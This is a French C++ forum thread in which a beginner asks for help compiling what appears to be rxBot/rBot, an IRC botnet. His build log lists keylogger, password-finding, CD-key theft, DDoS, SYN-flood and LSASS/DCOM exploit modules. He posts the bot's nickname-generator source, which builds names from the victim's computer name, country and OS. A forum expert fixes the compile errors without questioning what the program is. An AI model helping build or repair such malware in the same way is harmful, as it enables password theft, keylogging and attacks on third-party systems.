IdentifiantMot de passe
Loading...
Mot de passe oubli� ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les r�ponses en temps r�el, voter pour les messages, poser vos propres questions et recevoir la newsletter

C++ Discussion :

Probleme pour compiler


Sujet :

C++

Vue hybride

Message pr�c�dent Message pr�c�dent   Message suivant Message suivant
  1. #1
    Candidat au Club
    Profil pro
    Inscrit en
    Novembre 2007
    Messages
    2
    D�tails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Novembre 2007
    Messages : 2
    Par d�faut Probleme pour compiler
    Bonjour, J'essaye de compiler un prog sous visual c++ 2005 mais il me retourne �a comme erreur =

    ------ D�but de la g�n�ration*: Projet*: rBot, Configuration*: Debug Win32 ------
    Compilation en cours...
    wildcard.cpp
    visit.cpp
    threads.cpp
    tftpd.cpp
    tcpflood.cpp
    sysinfo.cpp
    .\sysinfo.cpp(152) : warning C4554: '&'*: v�rifiez la priorit� des op�rateurs comme cause possible d'erreur*; utilisez des parenth�ses pour rendre plus claires les priorit�s
    synflood.cpp
    socks4.cpp
    shellcode.cpp
    session.cpp
    secure.cpp
    scan.cpp
    rndnick.cpp
    .\rndnick.cpp(52) : error C2065: 'i'*: identificateur non d�clar�
    rlogind.cpp
    remotecmd.cpp
    redirect.cpp
    rBot.cpp
    psniff.cpp
    processes.cpp
    pingudp.cpp
    G�n�ration de code en cours...
    Compilation en cours...
    netutils.cpp
    netbios.cpp
    .\netbios.cpp(69) : error C2065: 'i'*: identificateur non d�clar�
    net.cpp
    mssql.cpp
    misc.cpp
    .\misc.cpp(45) : warning C4996: 'strdup' a �t� d�clar� d�sapprouv�
    C:\Program Files\Microsoft Visual Studio 8\VC\include\string.h(205)*: voir la d�claration de 'strdup'
    Message*: 'The POSIX name for this item is deprecated. Instead, use the ISO C++ conformant name: _strdup. See online help for details.'
    lsass.cpp
    loaddlls.cpp
    keylogger.cpp
    irc_send.cpp
    ident.cpp
    icmpflood.cpp
    httpd.cpp
    fphost.cpp
    findpass.cpp
    .\findpass.cpp(171) : warning C4996: 'wcsicmp' a �t� d�clar� d�sapprouv�
    C:\Program Files\Microsoft Visual Studio 8\VC\include\string.h(350)*: voir la d�claration de 'wcsicmp'
    Message*: 'The POSIX name for this item is deprecated. Instead, use the ISO C++ conformant name: _wcsicmp. See online help for details.'
    .\findpass.cpp(224) : warning C4996: 'wcsicmp' a �t� d�clar� d�sapprouv�
    C:\Program Files\Microsoft Visual Studio 8\VC\include\string.h(350)*: voir la d�claration de 'wcsicmp'
    Message*: 'The POSIX name for this item is deprecated. Instead, use the ISO C++ conformant name: _wcsicmp. See online help for details.'
    findfile.cpp
    ehandler.cpp
    driveinfo.cpp
    download.cpp
    ddos.cpp
    dcom2.cpp
    G�n�ration de code en cours...
    Compilation en cours...
    dcom.cpp
    dcc.cpp
    crypt.cpp
    crc32.cpp
    cdkeys.cpp
    capture.cpp
    autostart.cpp
    aliaslog.cpp
    advscan.cpp
    G�n�ration de code en cours...
    Cr�ation d'un fichier d'informations de consultation...
    Microsoft Browse Information Maintenance Utility Version 8.00.50727
    Copyright (C) Microsoft Corporation. All rights reserved.
    Le journal de g�n�ration a �t� enregistr� � l'emplacement "file://c:\botsrc7[1].6rx\Rxbot 7.6\Debug\BuildLog.htm"
    rBot - 2 erreur(s), 4 avertissement(s)
    ========== G�n�ration*: 0 a r�ussi, 1 a �chou�, 0 mis � jour, 0 a �t� ignor� ==========

  2. #2
    yan
    yan est d�connect�
    R�dacteur
    Avatar de yan
    Homme Profil pro
    Ing�nieur expert
    Inscrit en
    Mars 2004
    Messages
    10 035
    D�tails du profil
    Informations personnelles :
    Sexe : Homme
    �ge : 43
    Localisation : France, Ille et Vilaine (Bretagne)

    Informations professionnelles :
    Activit� : Ing�nieur expert
    Secteur : High Tech - Multim�dia et Internet

    Informations forums :
    Inscription : Mars 2004
    Messages : 10 035
    Par d�faut
    ben c'est assez explicite non??
    .\rndnick.cpp(52) : error C2065: 'i'*: identificateur non d�clar�
    .\netbios.cpp(69) : error C2065: 'i'*: identificateur non d�clar�

  3. #3
    Candidat au Club
    Profil pro
    Inscrit en
    Novembre 2007
    Messages
    2
    D�tails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Novembre 2007
    Messages : 2
    Par d�faut
    pour toi, mais je suis d�butant moi. Faut que je modifie quoi dans le rndnick.cpp :

    Code : S�lectionner tout - Visualiser dans une fen�tre � part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    #include "includes.h"
    #include "functions.h"
    #include "externs.h"
     
    RNICK rnick[]={
    	#ifndef NO_REALNICK
    	{"real", REALNICK, rndnickreal},
    	#endif
    	{"const", CONSTNICK, rndnickconst},
    	{"letter", LETTERNICK, rndnickletter},
    	{"comp", COMPNICK, rndnickcomp},
    	{"country", COUNTRYNICK, rndnickcountry},
    	{"os", OSNICK, rndnickos}
    };
     
    #ifndef NO_REALNICK
    #include "nicklist.h"
     
    char *rndnickreal(char *strbuf)
    {
    	srand(GetTickCount());
     
        _snprintf(strbuf, MAXNICKLEN, "%s", nicklist[rand()%(sizeof(nicklist) / sizeof(char *))]);
     
        for (int i=0;i < maxrand;i++) 
    		_snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
     
    	return (strbuf);
    }
    #endif
     
    char *rndnickconst(char *strbuf)
    {
    	srand(GetTickCount());
     
    	_snprintf(strbuf, MAXNICKLEN, "%s", nickconst);
     
        for (int i=0;i < maxrand;i++) 
    		_snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
     
    	return (strbuf); 
    }
     
    char *rndnickletter(char *strbuf)
    {	
        srand(GetTickCount());	
     
    	int randlen = (rand()%3)+maxrand;
     
    	for (int i=0; i < randlen; i++) 
    		strbuf[i] = (rand()%26)+97;
    	strbuf[i] = '\0';
     
    	return (strbuf);
    }
     
    char *rndnickcomp(char *strbuf) 
    {
        int i;
     
        LPTSTR lpszCompName="PC";
        DWORD cchBuff = 256;
    	BOOL NameGood = FALSE;
     
        srand(GetTickCount());
     
    	if(!GetComputerName(lpszCompName, &cchBuff)) 
    		lpszCompName="PC";
     
    	for (i=65;i<91;i++) 
    		if (lpszCompName[0] == i)
    			NameGood = TRUE;
        for (i=97;i<123;i++)
    		if (lpszCompName[0] == i)
    			NameGood = TRUE;
        if (!NameGood) 
    		lpszCompName="PC";
        _snprintf(strbuf, MAXNICKLEN, lpszCompName);
     
        for (i=0;i < maxrand;i++) 
    		_snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
     
    	return (strbuf);
    }
     
    char *rndnickcountry(char *strbuf)
    {
    	char temp[10];
     
        srand(GetTickCount());
     
    	GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, temp, sizeof(temp));
    	_snprintf(strbuf, MAXNICKLEN, "%s|", temp);
     
        for (int i=0;i < maxrand;i++) 
    		_snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
     
    	return (strbuf);
    }
     
    char *rndnickos(char *strbuf)
    {
    	char *os="";
    	OSVERSIONINFO verinfo;
    	verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    	GetVersionEx(&verinfo);
     
    	srand(GetTickCount());
     
    	if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) {
    		if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) os = "95";
    		if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) os = "NT";
    	}
    	else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "98";
    	else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "ME";
    	else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "2K";
    	else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "XP";
    	else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) os = "2K3";
    	else os = "???";
     
    	_snprintf(strbuf,MAXNICKLEN,"[%s]|",os);
     
        for (int i=0;i < maxrand;i++) 
    		_snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10);
     
    	return (strbuf);
    }
     
    char *prefixnick(char *strbuf)
    {
    	char tmpbuf[MAXNICKLEN];
     
    	unsigned int days = GetTickCount() / 86400000;
    	if (days > 100)
    		#ifndef NO_MIRCNICK
    		_snprintf(tmpbuf, sizeof(tmpbuf),"[%d]%s", days, ((fFindWindow("mIRC",0))?("[M]"):("")));
    	else
    		sprintf(tmpbuf, ((fFindWindow("mIRC",0))?("[M]"):("")));
    		#else
    		_snprintf(tmpbuf, sizeof(tmpbuf),"[%d]", days);
    		#endif
     
    	if (strlen(tmpbuf) > 2) {
    		strncat(tmpbuf, strbuf, sizeof(tmpbuf));
    		strncpy(strbuf, tmpbuf, MAXNICKLEN);
    	}
     
    	return (strbuf);
    };
     
    char *rndnick(char *strbuf, int type, BOOL prefix, char *name)
    {
    	for (int i=0; i < (sizeof(rnick) / sizeof(RNICK)); i++)
    		if ((name)?(strcmp(name,rnick[i].name)==0):(rnick[i].type == type)) {
    			rnick[i].rnfunc(strbuf);
    			break;
    		}
     
    	return ((prefix)?(prefixnick(strbuf)):(strbuf));
    }

  4. #4
    yan
    yan est d�connect�
    R�dacteur
    Avatar de yan
    Homme Profil pro
    Ing�nieur expert
    Inscrit en
    Mars 2004
    Messages
    10 035
    D�tails du profil
    Informations personnelles :
    Sexe : Homme
    �ge : 43
    Localisation : France, Ille et Vilaine (Bretagne)

    Informations professionnelles :
    Activit� : Ing�nieur expert
    Secteur : High Tech - Multim�dia et Internet

    Informations forums :
    Inscription : Mars 2004
    Messages : 10 035
    Par d�faut
    salut,
    ok c'etait pas mechant

    le probl�me est la

    Code : S�lectionner tout - Visualiser dans une fen�tre � part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    char *rndnickletter(char *strbuf)
    {	
        srand(GetTickCount());	
     
    	int randlen = (rand()%3)+maxrand;
    	
    	for (int i=0; i < randlen; i++) 
    		strbuf[i] = (rand()%26)+97;
    	strbuf[i] = '\0';
     
    	return (strbuf);
    }
    La port� de i s'arrete apr�s le for donc i n'existe pas pour strbuf[i]

    remplace par

    Code : S�lectionner tout - Visualiser dans une fen�tre � part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    char *rndnickletter(char *strbuf)
    {	
        srand(GetTickCount());	
     
    	int randlen = (rand()%3)+maxrand;
    	int i;
    	for ( i=0; i < randlen; i++) 
    		strbuf[i] = (rand()%26)+97;
    	strbuf[i] = '\0';
     
    	return (strbuf);
    }
    L'autre erreur doit �tre du m�me genre

Discussions similaires

  1. probleme pour compiler avec netbeans en c++
    Par naskaa87 dans le forum NetBeans Platform
    R�ponses: 1
    Dernier message: 31/08/2009, 09h58
  2. probleme pour compiler avec javac
    Par alexlevenere dans le forum D�buter avec Java
    R�ponses: 5
    Dernier message: 19/05/2009, 11h20
  3. compilation : probleme pour trouver la bibliotheque
    Par italiasky dans le forum G�n�ral Java
    R�ponses: 2
    Dernier message: 17/09/2008, 20h00
  4. Probleme de compilation : librairie OT pour thread absente?
    Par Valkirion dans le forum Threads & Processus
    R�ponses: 2
    Dernier message: 18/04/2007, 11h07
  5. Problème avec a.exe, requis pour compiler
    Par jejerome dans le forum KDE
    R�ponses: 4
    Dernier message: 15/04/2006, 23h28

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo